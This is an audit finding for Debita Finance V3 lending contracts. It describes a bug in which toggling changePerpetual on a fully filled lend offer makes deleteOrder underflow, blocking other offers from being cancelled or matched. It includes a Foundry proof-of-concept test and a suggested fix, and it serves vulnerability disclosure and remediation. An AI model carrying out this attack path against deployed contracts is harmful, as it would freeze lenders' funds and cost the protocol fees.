Mini Tawny Whale

High

# A lender can repeatedly change the perpetual status of a fully filled offer, making other offers unmatchable and non-cancelable.

### Summary

[DLOImplementation::changePerpetual()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L178-L188) changes the perpetual status to the `bool` value of the given parameter. However, when the perpetual status is set to `false`, the lending offer remains marked as active.
This allows `DLOFactory::deleteOrder()` to be called multiple times for the same offer. 

As a result, other offers will be unmatchable and non-cancelable because `DLOFactory::deleteOrder()` reverts due to underflow error.

### Root Cause

In `DebitaLendOffer-Implementation:184`, the lending offer is not marked as inactive when the perpetual status is set to `false` for a fully filled offer.

### Internal pre-conditions

1. A lending offer with perpetual status `true` needs to be fully filled.

### External pre-conditions

None.

### Attack Path

1. The owner of the fully filled lending offer calls `DLOImplementation::changePerpetual()` to change the perpetual status to `false`. This causes `DLOFactory::deleteOrder()` to be executed to delete the offer.
2. The owner calls `DLOImplementation::changePerpetual()` to change the perpetual status to `true`.
3. He will repeat steps 1 and 2 until the call reverts due to underflow. Whenever a new lending offer is created, they repeat the two steps again.
3. Any attempt to cancel a lending offer or match a non-perpetual lending offer, making it fully filled, will revert because further calls to `DLOFactory::deleteOrder()` also revert.

### Impact

Non-perpetual lending offers cannot be matched if doing so would cause them to become fully filled. As a result, the protocol loses fees because funds cannot be matched, even when there are sufficient compatible borrow offers. Furthermore, lenders miss out on the interest they could earn when their funds are filled.

Additionally, lending offers cannot be canceled. This forces lenders to accept matches, even if they intended to cancel their offers beforehand.

### PoC

The following should be added to `BasicDebitaAggregator.t.sol`:

```solidity
DLOImplementation public SecondLendOrder;
DLOImplementation public ThirdLendOrder;
DLOImplementation public FourthLendOrder;
DBOImplementation public SecondBorrowOrder;
address secondLender = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
```

Furthermore, an import needs to be changed in `BasicDebitaAggregator.t.sol`:
```diff
- import {Test, console} from "forge-std/Test.sol";
+ import {Test, console, stdError} from "forge-std/Test.sol";
```

Append the following to `setUp()` in `BasicDebitaAggregator.t.sol`:

```solidity
    vm.startPrank(secondLender);
    deal(AERO, address(secondLender), 1000e18, false);
    IERC20(AERO).approve(address(DLOFactoryContract), 1000e18);
    ratio[0] = 1e18;
    address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivated,
        false,
        ltvs,
        1000,
        8640000,
        86400,
        acceptedPrinciples,
        AERO,
        oraclesPrinciples,
        ratio,
        address(0x0),
        5e18
    );
    vm.stopPrank();

    ratio[0] = 1e18;
    address ThirdlendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivated,
        false,
        ltvs,
        1000,
        8640000,
        86400,
        acceptedPrinciples,
        AERO,
        oraclesPrinciples,
        ratio,
        address(0x0),
        5e18
    );

    ratio[0] = 1e18;
    address FourthlendOrderAddress = DLOFactoryContract.createLendOrder(
        false,
        oraclesActivated,
        false,
        ltvs,
        1000,
        8640000,
        86400,
        acceptedPrinciples,
        AERO,
        oraclesPrinciples,
        ratio,
        address(0x0),
        5e18
    );

    address SecondborrowOrderAddress = DBOFactoryContract.createBorrowOrder(
        oraclesActivated,
        ltvs,
        1000,
        864000,
        acceptedPrinciples,
        AERO,
        false,
        0,
        oraclesPrinciples,
        ratio,
        address(0x0),
        10e18
    );

    SecondLendOrder = DLOImplementation(SecondlendOrderAddress);
    ThirdLendOrder = DLOImplementation(ThirdlendOrderAddress);
    FourthLendOrder = DLOImplementation(FourthlendOrderAddress);
    SecondBorrowOrder = DBOImplementation(SecondborrowOrderAddress);
```


Add the following test to `BasicDebitaAggregator.t.sol` (it only works when four lend orders have been created):

```solidity
function testChangePerpetualCausesDeleteRevert() public {
        
    address[] memory lendOrders = allDynamicData.getDynamicAddressArray(2);
    uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
        2
    );
    uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
        .getDynamicUintArray(2);
    address[] memory principles = allDynamicData.getDynamicAddressArray(1);
    uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
        .getDynamicUintArray(2);
    uint[] memory indexForCollateral_LendOrder = allDynamicData
        .getDynamicUintArray(2);
    uint[] memory indexPrinciple_LendOrder = allDynamicData
        .getDynamicUintArray(2);
            

    vm.startPrank(secondLender);
    SecondLendOrder.changePerpetual(true);
    vm.stopPrank();
    
    lendOrders[0] = address(LendOrder);
    lendAmountPerOrder[0] = 5e18;
    porcentageOfRatioPerLendOrder[0] = 10000;
    principles[0] = AERO;

    lendOrders[1] = address(SecondLendOrder);
    lendAmountPerOrder[1] = 5e18;
    porcentageOfRatioPerLendOrder[1] = 10000;

    address loan = DebitaV3AggregatorContract.matchOffersV3(
        lendOrders,
        lendAmountPerOrder,
        porcentageOfRatioPerLendOrder,
        address(BorrowOrder),
        principles,
        indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder,
        indexPrinciple_LendOrder
    );
        
    vm.startPrank(secondLender);
        
    SecondLendOrder.changePerpetual(false);
    SecondLendOrder.changePerpetual(false);
    SecondLendOrder.changePerpetual(false);
        
    vm.stopPrank();
        
    vm.expectRevert(stdError.arithmeticError);
    ThirdLendOrder.cancelOffer();

    vm.expectRevert(stdError.arithmeticError);
    FourthLendOrder.cancelOffer();

    lendOrders[0] = address(ThirdLendOrder);
    lendAmountPerOrder[0] = 5e18;
    porcentageOfRatioPerLendOrder[0] = 10000;
    principles[0] = AERO;

    lendOrders[1] = address(FourthLendOrder);
    lendAmountPerOrder[1] = 5e18;
    porcentageOfRatioPerLendOrder[1] = 10000;

    vm.expectRevert(stdError.arithmeticError);
    address Secondloan = DebitaV3AggregatorContract.matchOffersV3(
        lendOrders,
        lendAmountPerOrder,
        porcentageOfRatioPerLendOrder,
        address(SecondBorrowOrder),
        principles,
        indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder,
        indexPrinciple_LendOrder
    );
}
```

### Mitigation

Consider marking fully filled lending offers as inactive when their perpetual status is set to `false`. 